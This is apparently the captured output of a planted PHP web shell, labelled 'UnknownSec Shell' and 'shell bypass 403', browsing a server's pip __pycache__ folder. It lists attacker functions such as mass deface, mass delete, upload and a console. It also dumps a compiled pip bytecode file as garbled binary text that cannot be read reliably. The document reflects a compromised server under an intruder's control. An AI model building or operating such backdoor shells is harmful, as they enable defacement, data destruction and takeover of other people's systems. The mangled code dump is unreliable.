shell bypass 403
UnknownSec Shell
:
/
lib
/
python3
/
dist-packages
/
pip
/
_internal
/
utils
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
filesystem.cpython-312.pyc
� O:]h � � � d dl Z d dlZd dlZd dlZd dlZd dlmZ d dlmZ d dl m Z mZmZm Z mZmZ d dlmZmZmZ d dlmZ d dlmZ ded efd �Zedede d eeddf fd�� Z ed ed� ed� �� Z eej: � Zded efd�Zded efd�Zdeded e e fd�Z ded ee!e"f fd�Z#ded efd�Z$ded ee!e"f fd�Z%ded efd�Z&y)� N)�contextmanager)�NamedTemporaryFile)�Any�BinaryIO� Generator�List�Union�cast)�retry�stop_after_delay� wait_fixed)�get_path_uid)�format_size�path�returnc �� � t j dk( st t d� syt j j | � sJ �d }| |k7 r�t j j | � rLt j � dk( r t | � }|dk( S t j | t j � S | t j j | � } }| |k7 r��y# t $ r Y yw xY w)N�win32�geteuidTr F) �sys�platform�hasattr�osr �isabs�lexistsr r �OSError�access�W_OK�dirname)r �previous�path_uids �@/usr/lib/python3/dist-packages/pip/_internal/utils/filesystem.py�check_path_ownerr"